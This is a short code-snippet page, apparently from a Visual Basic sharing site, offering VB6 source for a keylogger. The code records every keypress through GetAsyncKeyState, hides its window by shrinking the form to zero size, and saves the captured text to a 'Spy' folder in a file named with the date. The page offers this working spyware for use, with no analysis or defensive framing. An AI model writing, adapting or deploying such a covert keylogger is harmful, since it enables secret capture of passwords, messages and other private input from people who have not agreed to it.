• Home
 · 
• Encryption
 · 
• Log all keys press on your pc saves to document with date of file as name

Log all keys press on your pc saves to document with date of file as name

Log all keys press on your pc saves to document with date of file as name

Rate Log all keys press on your pc saves to document with date of file as name

• 1
• 2
• 3
• 4
• 5

(2(2 Vote))

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim result As Integer

Private Sub Form_Load()
On Error GoTo ErrorHandler:
Form1.Width = 0
Form1.Height = 0
Form1.Top = 0
Form1.Left = 0

MkDir (App.Path & "\" & "Spy")


ErrorHandler:

End Sub
Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub



Private Sub Timer2_Timer()
On Error GoTo ErrorHandler
    Text2.Text = Format(Date, "dd,mm,yyyy")
    Open App.Path & "\" & "Spy" & "\" & Text2.Text & ".txt" For Output As #1
    Write #1, Text1.Text
    Close #1
ErrorHandler:
   
End Sub